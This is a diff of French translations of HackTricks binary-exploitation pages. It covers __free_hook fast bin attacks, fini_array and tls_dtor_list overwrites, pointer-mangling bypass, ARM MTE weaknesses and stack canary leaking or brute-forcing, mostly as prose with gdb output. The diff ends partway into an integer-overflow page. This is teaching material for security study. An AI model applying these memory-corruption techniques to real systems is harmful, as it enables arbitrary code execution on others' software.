Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md

@@ -32,29 +32,29 @@ gef➤  p &__free_hook
 [Dans le post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html), vous pouvez trouver un guide étape par étape sur la façon de localiser l'adresse du free hook sans symboles. En résumé, dans la fonction free :
 
 <pre class="language-armasm"><code class="lang-armasm">gef➤  x/20i free
-0xf75dedc0 &#x3C;free>: push   ebx
-0xf75dedc1 &#x3C;free+1>: call   0xf768f625
-0xf75dedc6 &#x3C;free+6>: add    ebx,0x14323a
-0xf75dedcc &#x3C;free+12>:  sub    esp,0x8
-0xf75dedcf &#x3C;free+15>:  mov    eax,DWORD PTR [ebx-0x98]
-0xf75dedd5 &#x3C;free+21>:  mov    ecx,DWORD PTR [esp+0x10]
-<strong>0xf75dedd9 &#x3C;free+25>:  mov    eax,DWORD PTR [eax]--- BREAK HERE
-</strong>0xf75deddb &#x3C;free+27>:  test   eax,eax ;&#x3C;
-0xf75deddd &#x3C;free+29>:  jne    0xf75dee50 &#x3C;free+144>
+0xf75dedc0 <free>: push   ebx
+0xf75dedc1 <free+1>: call   0xf768f625
+0xf75dedc6 <free+6>: add    ebx,0x14323a
+0xf75dedcc <free+12>:  sub    esp,0x8
+0xf75dedcf <free+15>:  mov    eax,DWORD PTR [ebx-0x98]
+0xf75dedd5 <free+21>:  mov    ecx,DWORD PTR [esp+0x10]
+<strong>0xf75dedd9 <free+25>:  mov    eax,DWORD PTR [eax]--- BREAK HERE
+</strong>0xf75deddb <free+27>:  test   eax,eax ;<
+0xf75deddd <free+29>:  jne    0xf75dee50 <free+144>
 </code></pre>
 
-Dans la rupture mentionnée dans le code précédent, l'adresse du free hook sera située dans `$eax`.
+Dans la rupture mentionnée dans le code précédent, `$eax` contiendra l'adresse du free hook.
 
 Maintenant, une **attaque fast bin** est effectuée :
 
 - Tout d'abord, il est découvert qu'il est possible de travailler avec des **chunks de taille 200** dans l'emplacement **`__free_hook`** :
-- <pre class="language-c"><code class="lang-c">gef➤  p &#x26;__free_hook
-$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
+- <pre class="language-c"><code class="lang-c">gef➤  p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 <strong>0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
 </strong>0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-0x7ff1e9e6076f &#x3C;list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
+0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 </code></pre>
 - Si nous parvenons à obtenir un chunk rapide de taille 0x200 à cet emplacement, il sera possible d'écraser un pointeur de fonction qui sera exécuté.
 - Pour cela, un nouveau chunk de taille `0xfc` est créé et la fonction fusionnée est appelée avec ce pointeur deux fois, de cette manière nous obtenons un pointeur vers un chunk libéré de taille `0xfc*2 = 0x1f8` dans le fast bin.

src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md

@@ -49,7 +49,7 @@ Notez comment `map -> l_addr + fini_array -> d_un.d_ptr` est utilisé pour **cal
 Il y a **quelques options** :
 
 - Écraser la valeur de `map->l_addr` pour qu'elle pointe vers un **faux `fini_array`** avec des instructions pour exécuter du code arbitraire.
-- Écraser les entrées `l_info[DT_FINI_ARRAY]` et `l_info[DT_FINI_ARRAYSZ]` (qui sont plus ou moins consécutives en mémoire), pour les faire **pointer vers une structure `Elf64_Dyn` forgée** qui fera à nouveau **que `array` pointe vers une zone mémoire** contrôlée par l'attaquant. 
+- Écraser les entrées `l_info[DT_FINI_ARRAY]` et `l_info[DT_FINI_ARRAYSZ]` (qui sont plus ou moins consécutives en mémoire), pour les faire **pointer vers une structure `Elf64_Dyn` forgée** qui fera à nouveau **pointer `array` vers une zone mémoire** contrôlée par l'attaquant.
 - [**Ce rapport**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) écrase `l_info[DT_FINI_ARRAY]` avec l'adresse d'une mémoire contrôlée dans `.bss` contenant un faux `fini_array`. Ce faux tableau contient **d'abord un** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **adresse** qui sera exécutée et ensuite la **différence** entre l'adresse de ce **faux tableau** et la **valeur de `map->l_addr`** afin que `*array` pointe vers le faux tableau.
 - Selon le post principal de cette technique et [**ce rapport**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet), ld.so laisse un pointeur sur la pile qui pointe vers le `link_map` binaire dans ld.so. Avec une écriture arbitraire, il est possible de l'écraser et de le faire pointer vers un faux `fini_array` contrôlé par l'attaquant avec l'adresse d'un [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) par exemple.
 
@@ -115,8 +115,8 @@ func (cur->obj);
 ```
 Pour chaque fonction enregistrée dans **`tls_dtor_list`**, il démanglera le pointeur de **`cur->func`** et l'appellera avec l'argument **`cur->obj`**.
 
-En utilisant la fonction **`tls`** de ce [**fork de GEF**](https://github.com/bata24/gef), il est possible de voir que le **`dtor_list`** est en fait très **proche** du **stack canary** et du **PTR_MANGLE cookie**. Donc, avec un débordement sur celui-ci, il serait possible de **surcharger** le **cookie** et le **stack canary**.\
-En surchargeant le PTR_MANGLE cookie, il serait possible de **contourner la fonction `PTR_DEMANLE`** en le définissant à 0x00, ce qui signifie que le **`xor`** utilisé pour obtenir l'adresse réelle est juste l'adresse configurée. Ensuite, en écrivant sur le **`dtor_list`**, il est possible de **chaîner plusieurs fonctions** avec l'**adresse** de la fonction et son **argument**.
+En utilisant la fonction **`tls`** de ce [**fork de GEF**](https://github.com/bata24/gef), il est possible de voir que le **`dtor_list`** est en fait très **proche** du **stack canary** et du **PTR_MANGLE cookie**. Ainsi, avec un débordement, il serait possible de **surcharger** le **cookie** et le **stack canary**.\
+En surchargeant le PTR_MANGLE cookie, il serait possible de **contourner la fonction `PTR_DEMANLE`** en le définissant à 0x00, ce qui signifie que le **`xor`** utilisé pour obtenir l'adresse réelle est simplement l'adresse configurée. Ensuite, en écrivant sur le **`dtor_list`**, il est possible de **chaîner plusieurs fonctions** avec l'**adresse** de la fonction et son **argument**.
 
 Enfin, notez que le pointeur stocké ne sera pas seulement xored avec le cookie mais également tourné de 17 bits :
 ```armasm

src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md

@@ -42,7 +42,7 @@ Vous pouvez trouver les techniques **Écrire Quoi Où pour l'Exécution** dans :
 
 Un point à prendre en compte est que généralement **une seule exploitation d'une vulnérabilité peut ne pas suffire** à exécuter un exploit réussi, surtout certaines protections doivent être contournées. Par conséquent, il est intéressant de discuter de certaines options pour **rendre une seule vulnérabilité exploitable plusieurs fois** dans la même exécution du binaire :
 
-- Écrire dans une chaîne **ROP** l'adresse de la **fonction `main`** ou l'adresse où la **vulnérabilité** se produit.
+- Écrire dans une **chaîne ROP** l'adresse de la **fonction `main`** ou l'adresse où la **vulnérabilité** se produit.
 - En contrôlant une chaîne ROP appropriée, vous pourriez être en mesure d'effectuer toutes les actions dans cette chaîne.
 - Écrire à l'adresse **`exit` dans GOT** (ou toute autre fonction utilisée par le binaire avant de se terminer) l'adresse pour **revenir à la vulnérabilité**.
 - Comme expliqué dans [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** stocker 2 fonctions ici, une pour rappeler la vulnérabilité et une autre pour appeler **`__libc_csu_fini`** qui rappellera à nouveau la fonction de `.fini_array`.
@@ -51,13 +51,13 @@ Un point à prendre en compte est que généralement **une seule exploitation d'
 
 ### Objectif : Appeler une Fonction Existante
 
-- [**ret2win**](#ret2win) : Il y a une fonction dans le code que vous devez appeler (peut-être avec des paramètres spécifiques) afin d'obtenir le drapeau.
+- [**ret2win**](#ret2win) : Il y a une fonction dans le code que vous devez appeler (peut-être avec des paramètres spécifiques) afin d'obtenir le flag.
 - Dans un **bof régulier sans** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **et** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), vous devez simplement écrire l'adresse dans l'adresse de retour stockée dans la pile.
 - Dans un bof avec [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), vous devrez le contourner.
 - Dans un bof avec [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), vous devrez le contourner.
 - Si vous devez définir plusieurs paramètres pour appeler correctement la fonction **ret2win**, vous pouvez utiliser :
-- Une chaîne [**ROP**](#rop-and-ret2...-techniques) **s'il y a suffisamment de gadgets** pour préparer tous les paramètres.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (au cas où vous pourriez appeler ce syscall) pour contrôler de nombreux registres.
+- Une [**chaîne ROP**](#rop-and-ret2...-techniques) **s'il y a suffisamment de gadgets** pour préparer tous les paramètres.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (au cas où vous pouvez appeler ce syscall) pour contrôler de nombreux registres.
 - Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) et [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) pour contrôler plusieurs registres.
 - Via un [**Écrire Quoi Où**](../arbitrary-write-2-exec/index.html), vous pourriez abuser d'autres vulnérabilités (pas de bof) pour appeler la fonction **`win`**.
 - [**Redirection de Pointeurs**](../stack-overflow/pointer-redirecting.md) : Dans le cas où la pile contient des pointeurs vers une fonction qui va être appelée ou vers une chaîne qui va être utilisée par une fonction intéressante (system ou printf), il est possible d'écraser cette adresse.
@@ -68,11 +68,11 @@ Un point à prendre en compte est que généralement **une seule exploitation d'
 
 #### Via shellcode, si nx désactivé ou mélangeant shellcode avec ROP :
 
-- [**(Stack) Shellcode**](#stack-shellcode) : Cela est utile pour stocker un shellcode dans la pile avant ou après avoir écrasé le pointeur de retour et ensuite **y sauter** pour l'exécuter :
+- [**(Stack) Shellcode**](#stack-shellcode) : Cela est utile pour stocker un shellcode dans la pile avant ou après avoir écrasé le pointeur de retour et ensuite **sauter vers lui** pour l'exécuter :
 - **Dans tous les cas, s'il y a un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** dans un bof régulier, vous devrez le contourner (leak).
 - **Sans** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **et** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), il est possible de sauter à l'adresse de la pile car elle ne changera jamais.
 - **Avec** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html), vous aurez besoin de techniques telles que [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) pour y sauter.
-- **Avec** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), vous devrez utiliser un [**ROP**](../rop-return-oriented-programing/index.html) **pour appeler `memprotect`** et rendre une page `rwx`, afin de pouvoir ensuite **y stocker le shellcode** (en appelant read par exemple) et ensuite y sauter.
+- **Avec** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), vous devrez utiliser un [**ROP**](../rop-return-oriented-programing/index.html) **pour appeler `memprotect`** et rendre une page `rwx`, afin de pouvoir ensuite **stocker le shellcode là-dedans** (en appelant read par exemple) et ensuite y sauter.
 - Cela mélangera le shellcode avec une chaîne ROP.
 
 #### Via syscalls
@@ -93,14 +93,14 @@ Un point à prendre en compte est que généralement **une seule exploitation d'
 - **Contourner** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) et calculer l'adresse de `system` et `'/bin/sh'` en mémoire.
 - **Avec** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **et** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **et sans connaître la libc** : Vous devez :
 - Contourner [**PIE**](../common-binary-protections-and-bypasses/pie/index.html).
-- Trouver la **version de `libc`** utilisée (fuite de quelques adresses de fonction).
+- Trouver la **version de `libc`** utilisée (leak quelques adresses de fonction).
 - Vérifier les **scénarios précédents avec ASLR** pour continuer.
 
 #### Via EBP/RBP
 
-- [**Pivotement de Pile / EBP2Ret / Chaînage EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) : Contrôler l'ESP pour contrôler RET via l'EBP stocké dans la pile.
-- Utile pour les débordements de pile **off-by-one**.
-- Utile comme une méthode alternative pour finir par contrôler l'EIP tout en abusant de l'EIP pour construire la charge utile en mémoire et ensuite y sauter via l'EBP.
+- [**Pivot de Pile / EBP2Ret / Chaînage EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) : Contrôler l'ESP pour contrôler RET via le EBP stocké dans la pile.
+- Utile pour les **débordements de pile off-by-one**.
+- Utile comme une alternative pour finir par contrôler EIP tout en abusant d'EIP pour construire la charge utile en mémoire et ensuite sauter vers elle via EBP.
 
 #### Divers
 

src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md

@@ -23,19 +23,19 @@ Le cœur de cette technique est une formule d'obfuscation :
 **`New_Ptr = (L >> 12) XOR P`**
 
 - **L** est la **Localisation de Stockage** du pointeur.
-- **P** est le **pointeur Fd fastbin/tcache** réel.
+- **P** est le **Pointeur Fd de fastbin/tcache**.
 
-La raison du décalage binaire de la localisation de stockage (L) de 12 bits vers la droite avant l'opération XOR est critique. Cette manipulation traite une vulnérabilité inhérente à la nature déterministe des 12 bits de poids faible des adresses mémoire, qui sont généralement prévisibles en raison des contraintes d'architecture système. En décalant les bits, la portion prévisible est déplacée hors de l'équation, augmentant l'aléatoire du nouveau pointeur manglé et protégeant ainsi contre les exploits qui s'appuient sur la prévisibilité de ces bits.
+La raison du décalage binaire de la localisation de stockage (L) de 12 bits vers la droite avant l'opération XOR est critique. Cette manipulation traite une vulnérabilité inhérente à la nature déterministe des 12 bits de poids faible des adresses mémoire, qui sont généralement prévisibles en raison des contraintes d'architecture système. En décalant les bits, la portion prévisible est déplacée hors de l'équation, améliorant l'aléatoire du nouveau pointeur manglé et protégeant ainsi contre les exploits qui s'appuient sur la prévisibilité de ces bits.
 
 Ce pointeur manglé tire parti de l'aléatoire existant fourni par **Address Space Layout Randomization (ASLR)**, qui randomise les adresses utilisées par les programmes pour rendre difficile pour les attaquants de prédire la disposition mémoire d'un processus.
 
-**Démangling** du pointeur pour récupérer l'adresse originale implique d'utiliser la même opération XOR. Ici, le pointeur manglé est traité comme P dans la formule, et lorsqu'il est XORé avec la localisation de stockage (L) inchangée, cela révèle le pointeur original. Cette symétrie dans le mangling et le démangling garantit que le système peut encoder et décoder efficacement les pointeurs sans surcharge significative, tout en augmentant considérablement la sécurité contre les attaques qui manipulent les pointeurs de mémoire.
+**Démangling** du pointeur pour récupérer l'adresse originale implique d'utiliser la même opération XOR. Ici, le pointeur manglé est traité comme P dans la formule, et lorsqu'il est XORé avec la localisation de stockage inchangée (L), cela révèle le pointeur original. Cette symétrie dans le mangling et le démangling garantit que le système peut encoder et décoder efficacement les pointeurs sans surcharge significative, tout en augmentant considérablement la sécurité contre les attaques qui manipulent les pointeurs de mémoire.
 
 ### Avantages Sécuritaires
 
 Le mangling de pointeur vise à **prévenir les écrasements partiels et complets de pointeur dans la gestion de heap**, une amélioration significative de la sécurité. Cette fonctionnalité impacte les techniques d'exploitation de plusieurs manières :
 
-1. **Prévention des Écritures Relatives par Octet** : Auparavant, les attaquants pouvaient changer une partie d'un pointeur pour **rediriger les chunks de heap vers différentes localisations sans connaître les adresses exactes**, une technique évidente dans l'exploitation sans fuite **House of Roman**. Avec le mangling de pointeur, de telles écritures relatives **sans fuite de heap nécessitent maintenant un bruteforce**, réduisant considérablement leur probabilité de succès.
+1. **Prévention des Écritures Relatives Bye Byte** : Auparavant, les attaquants pouvaient changer une partie d'un pointeur pour **rediriger les chunks de heap vers différentes localisations sans connaître les adresses exactes**, une technique évidente dans l'exploitation sans fuite **House of Roman**. Avec le mangling de pointeur, de telles écritures relatives **sans fuite de heap nécessitent maintenant un bruteforce**, réduisant considérablement leur probabilité de succès.
 2. **Difficulté Accrue des Attaques Tcache Bin/Fastbin** : Les attaques courantes qui écrasent les pointeurs de fonction (comme `__malloc_hook`) en manipulant les entrées fastbin ou tcache sont entravées. Par exemple, une attaque pourrait impliquer de divulguer une adresse LibC, de libérer un chunk dans le bin tcache, puis d'écraser le pointeur Fd pour le rediriger vers `__malloc_hook` pour une exécution de code arbitraire. Avec le mangling de pointeur, ces pointeurs doivent être correctement manglés, **nécessitant une fuite de heap pour une manipulation précise**, augmentant ainsi la barrière d'exploitation.
 3. **Exigence de Fuites de Heap dans des Localisations Non-Heap** : Créer un faux chunk dans des zones non-heap (comme la pile, la section .bss, ou PLT/GOT) nécessite également **une fuite de heap** en raison de la nécessité de mangling de pointeur. Cela étend la complexité d'exploitation de ces zones, similaire à l'exigence de manipulation des adresses LibC.
 4. **Les Fuites d'Adresses de Heap Devenant Plus Difficiles** : Le mangling de pointeur restreint l'utilité des pointeurs Fd dans les bins fastbin et tcache comme sources de fuites d'adresses de heap. Cependant, les pointeurs dans les bins non triés, petits et grands restent non manglés, donc toujours utilisables pour des fuites d'adresses. Ce changement pousse les attaquants à explorer ces bins pour des informations exploitables, bien que certaines techniques puissent encore permettre de démangler les pointeurs avant une fuite, bien que sous contraintes.
@@ -43,11 +43,11 @@ Le mangling de pointeur vise à **prévenir les écrasements partiels et complet
 ### **Démangling des Pointeurs avec une Fuite de Heap**
 
 > [!CAUTION]
-> Pour une meilleure explication du processus [**consultez le post original ici**](https://maxwelldulin.com/BlogPost?post=5445977088).
+> Pour une meilleure explication du processus [**vérifiez le post original ici**](https://maxwelldulin.com/BlogPost?post=5445977088).
 
 ### Aperçu de l'Algorithme
 
-La formule utilisée pour le mangling et le démangling des pointeurs est : 
+La formule utilisée pour le mangling et le démangling des pointeurs est :
 
 **`New_Ptr = (L >> 12) XOR P`**
 
@@ -72,7 +72,7 @@ La protection de pointeur est une technique d'atténuation des exploits utilisé
 2. **Stratégie d'Attaque :** L'attaque est basée sur une approche de texte clair connu, où l'attaquant doit connaître à la fois les versions originales et manglées d'un pointeur pour déduire le secret utilisé pour le mangling.
 3. **Exploitation des Textes Clairs Connus :**
 - **Identification des Pointeurs de Fonction Fixes :** En examinant le code source de glibc ou les tables de pointeurs de fonction initialisées (comme `__libc_pthread_functions`), un attaquant peut trouver des pointeurs de fonction prévisibles.
-- **Calcul du Secret :** En utilisant un pointeur de fonction connu tel que `__pthread_attr_destroy` et sa version manglée de la table de pointeurs de fonction, le secret peut être calculé en faisant une rotation inverse (rotation à droite) du pointeur manglé, puis en le XORant avec l'adresse de la fonction.
+- **Calcul du Secret :** En utilisant un pointeur de fonction connu tel que `__pthread_attr_destroy` et sa version manglée à partir de la table de pointeurs de fonction, le secret peut être calculé en effectuant une rotation inverse (rotation à droite) du pointeur manglé, puis en le XORant avec l'adresse de la fonction.
 4. **Textes Clairs Alternatifs :** L'attaquant peut également expérimenter avec le mangling de pointeurs avec des valeurs connues comme 0 ou -1 pour voir si cela produit des motifs identifiables en mémoire, révélant potentiellement le secret lorsque ces motifs sont trouvés dans des dumps mémoire.
 5. **Application Pratique :** Après avoir calculé le secret, un attaquant peut manipuler les pointeurs de manière contrôlée, contournant essentiellement la protection de la Protection de Pointeur dans une application multithreadée avec connaissance de l'adresse de base de libc et la capacité de lire des emplacements mémoire arbitraires.
 

src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md

@@ -1,14 +1,14 @@
-# Extension de Tagging de Mémoire (MTE)
+# Memory Tagging Extension (MTE)
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Informations de Base
+## Informations de base
 
-**L'Extension de Tagging de Mémoire (MTE)** est conçue pour améliorer la fiabilité et la sécurité des logiciels en **détectant et en prévenant les erreurs liées à la mémoire**, telles que les débordements de tampon et les vulnérabilités d'utilisation après libération. MTE, en tant que partie de l'**architecture ARM**, fournit un mécanisme pour attacher un **petit tag à chaque allocation de mémoire** et un **tag correspondant à chaque pointeur** référencant cette mémoire. Cette approche permet de détecter les accès mémoire illégaux à l'exécution, réduisant ainsi considérablement le risque d'exploiter de telles vulnérabilités pour exécuter du code arbitraire.
+**Memory Tagging Extension (MTE)** est conçu pour améliorer la fiabilité et la sécurité des logiciels en **détectant et en prévenant les erreurs liées à la mémoire**, telles que les débordements de tampon et les vulnérabilités d'utilisation après libération. MTE, en tant que partie de l'**architecture ARM**, fournit un mécanisme pour attacher un **petit tag à chaque allocation de mémoire** et un **tag correspondant à chaque pointeur** référencant cette mémoire. Cette approche permet de détecter les accès mémoire illégaux à l'exécution, réduisant ainsi considérablement le risque d'exploiter de telles vulnérabilités pour exécuter du code arbitraire.
 
-### **Comment Fonctionne l'Extension de Tagging de Mémoire**
+### **Comment fonctionne l'extension de balisage de mémoire**
 
-MTE fonctionne en **divisant la mémoire en petits blocs de taille fixe, chaque bloc se voyant attribuer un tag,** généralement de quelques bits de taille. 
+MTE fonctionne en **divisant la mémoire en petits blocs de taille fixe, chaque bloc se voyant attribuer un tag,** généralement de quelques bits.
 
 Lorsqu'un pointeur est créé pour pointer vers cette mémoire, il reçoit le même tag. Ce tag est stocké dans les **bits inutilisés d'un pointeur mémoire**, liant efficacement le pointeur à son bloc de mémoire correspondant.
 
@@ -16,19 +16,19 @@ Lorsqu'un pointeur est créé pour pointer vers cette mémoire, il reçoit le m
 
 Lorsqu'un programme accède à la mémoire via un pointeur, le matériel MTE vérifie que le **tag du pointeur correspond au tag du bloc de mémoire**. Si les tags **ne correspondent pas**, cela indique un **accès mémoire illégal.**
 
-### Tags de Pointeur MTE
+### Tags de pointeur MTE
 
-Les tags à l'intérieur d'un pointeur sont stockés en 4 bits à l'intérieur du byte supérieur :
+Les tags à l'intérieur d'un pointeur sont stockés dans 4 bits à l'intérieur du premier octet :
 
 <figure><img src="../../images/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
 
 Par conséquent, cela permet jusqu'à **16 valeurs de tag différentes**.
 
-### Tags de Mémoire MTE
+### Tags de mémoire MTE
 
 Chaque **16B de mémoire physique** a un **tag de mémoire** correspondant.
 
-Les tags de mémoire sont stockés dans une **région RAM dédiée** (non accessible pour un usage normal). Avoir des tags de 4 bits pour chaque tag de 16B de mémoire jusqu'à 3% de la RAM.
+Les tags de mémoire sont stockés dans une **région RAM dédiée** (non accessible pour un usage normal). Avoir des tags de 4 bits pour chaque tag de mémoire de 16B jusqu'à 3 % de la RAM.
 
 ARM introduit les instructions suivantes pour manipuler ces tags dans la mémoire RAM dédiée :
 ```
@@ -67,13 +67,13 @@ Si le noyau accède à la **granule de tag invalide**, le **décalage** sera **d
 
 Un autre bug se produit dans la **dernière granule** de la mémoire allouée. Si l'application a demandé 35B, elle a reçu la granule de 32 à 48. Par conséquent, les **octets de 36 à 47 utilisent le même tag** mais n'ont pas été demandés. Si l'attaquant accède **à ces octets supplémentaires, cela n'est pas détecté**.
 
-Lorsque **`kfree()`** est exécuté, la mémoire est re-tagée avec le tag de mémoire invalide, donc dans un **use-after-free**, lorsque la mémoire est à nouveau accédée, le **décalage est détecté**.
+Lorsque **`kfree()`** est exécuté, la mémoire est retagged avec le tag de mémoire invalide, donc dans un **use-after-free**, lorsque la mémoire est à nouveau accédée, le **décalage est détecté**.
 
 Cependant, dans un use-after-free, si le même **chunk est réalloué à nouveau avec le MÊME tag** qu'auparavant, un attaquant pourra utiliser cet accès et cela ne sera pas détecté (environ 7% de chance).
 
 De plus, seuls **`slab` et `page_alloc`** utilisent de la mémoire taguée mais à l'avenir, cela sera également utilisé dans `vmalloc`, `stack` et `globals` (au moment de la vidéo, ceux-ci peuvent encore être abusés).
 
-Lorsqu'un **décalage est détecté**, le noyau va **panique** pour prévenir toute exploitation supplémentaire et les tentatives de l'exploit (MTE n'a pas de faux positifs).
+Lorsqu'un **décalage est détecté**, le noyau va **panic** pour prévenir toute exploitation supplémentaire et les tentatives de l'exploit (MTE n'a pas de faux positifs).
 
 ## Références
 

src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

@@ -103,14 +103,15 @@ log.info(f"The canary is: {canary}")
 ```
 ## Threads
 
-Les threads du même processus **partageront le même jeton canari**, il sera donc possible de **brute-forcer** un canari si le binaire crée un nouveau thread chaque fois qu'une attaque se produit. 
+Les threads du même processus **partageront le même jeton canary**, il sera donc possible de **brute-forcer** un canary si le binaire crée un nouveau thread chaque fois qu'une attaque se produit.
 
-De plus, un **débordement de tampon dans une fonction threadée** protégée par un canari pourrait être utilisé pour **modifier le canari maître stocké dans le TLS**. Cela est dû au fait qu'il pourrait être possible d'atteindre la position mémoire où le TLS est stocké (et donc, le canari) via un **bof dans la pile** d'un thread.\
-En conséquence, l'atténuation est inutile car la vérification est effectuée avec deux canaris qui sont les mêmes (bien que modifiés).\
+De plus, un **débordement de tampon dans une fonction threadée** protégée par un canary pourrait être utilisé pour **modifier le canary maître stocké dans le TLS**. Cela est dû au fait qu'il pourrait être possible d'atteindre la position mémoire où le TLS est stocké (et donc, le canary) via un **bof dans la pile** d'un thread.\
+En conséquence, l'atténuation est inutile car la vérification est effectuée avec deux canaries qui sont les mêmes (bien que modifiés).\
 Cette attaque est décrite dans le writeup : [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
 
-Vérifiez également la présentation de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) qui mentionne que généralement le **TLS** est stocké par **`mmap`** et lorsqu'une **pile** de **thread** est créée, elle est également générée par `mmap` selon cela, ce qui pourrait permettre le débordement comme montré dans le writeup précédent.
+Vérifiez également la présentation de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) qui mentionne que généralement le **TLS** est stocké par **`mmap`** et lorsqu'une **pile** de **thread** est créée, elle est également générée par `mmap`, ce qui pourrait permettre le débordement comme montré dans le writeup précédent.
 
 ## Other examples & references
 
-- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guy
+- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
+- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.

src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md

@@ -6,13 +6,13 @@
 
 Imaginez une situation où un **programme vulnérable** à un débordement de pile peut exécuter une fonction **puts** **pointant** vers **une partie** du **débordement de pile**. L'attaquant sait que le **premier octet du canary est un octet nul** (`\x00`) et que le reste du canary est constitué de **octets aléatoires**. Ensuite, l'attaquant peut créer un débordement qui **écrase la pile jusqu'au premier octet du canary**.
 
-Ensuite, l'attaquant **appelle la fonctionnalité puts** au milieu de la charge utile qui va **imprimer tout le canary** (sauf le premier octet nul).
+Ensuite, l'attaquant **appelle la fonctionnalité puts** au milieu de la charge utile, ce qui va **imprimer tout le canary** (sauf le premier octet nul).
 
-Avec cette information, l'attaquant peut **concevoir et envoyer une nouvelle attaque** en connaissant le canary (dans la même session de programme).
+Avec cette information, l'attaquant peut **concevoir et envoyer une nouvelle attaque** en connaissant le canary (dans la **même session de programme**).
 
-Évidemment, cette tactique est très **restrictive** car l'attaquant doit être capable d'**imprimer** le **contenu** de sa **charge utile** pour **exfiltrer** le **canary** et ensuite être capable de créer une nouvelle charge utile (dans la **même session de programme**) et **envoyer** le **vrai débordement de tampon**.
+Évidemment, cette tactique est très **restrictive** car l'attaquant doit être capable de **imprimer** le **contenu** de sa **charge utile** pour **exfiltrer** le **canary** et ensuite être capable de créer une nouvelle charge utile (dans la **même session de programme**) et **envoyer** le **vrai débordement de tampon**.
 
-**Exemples CTF :** 
+**Exemples CTF :**
 
 - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
 - 64 bits, ASLR activé mais pas de PIE, la première étape consiste à remplir un débordement jusqu'à l'octet 0x00 du canary pour ensuite appeler puts et le divulguer. Avec le canary, un gadget ROP est créé pour appeler puts afin de divulguer l'adresse de puts depuis le GOT et un gadget ROP pour appeler `system('/bin/sh')`

src/binary-exploitation/integer-overflow.md

@@ -6,7 +6,7 @@
 
 Au cœur d'un **débordement d'entier** se trouve la limitation imposée par la **taille** des types de données en programmation informatique et l'**interprétation** des données.
 
-Par exemple, un **entier non signé de 8 bits** peut représenter des valeurs de **0 à 255**. Si vous essayez de stocker la valeur 256 dans un entier non signé de 8 bits, elle revient à 0 en raison de la limitation de sa capacité de stockage. De même, pour un **entier non signé de 16 bits**, qui peut contenir des valeurs de **0 à 65 535**, ajouter 1 à 65 535 ramènera la valeur à 0.
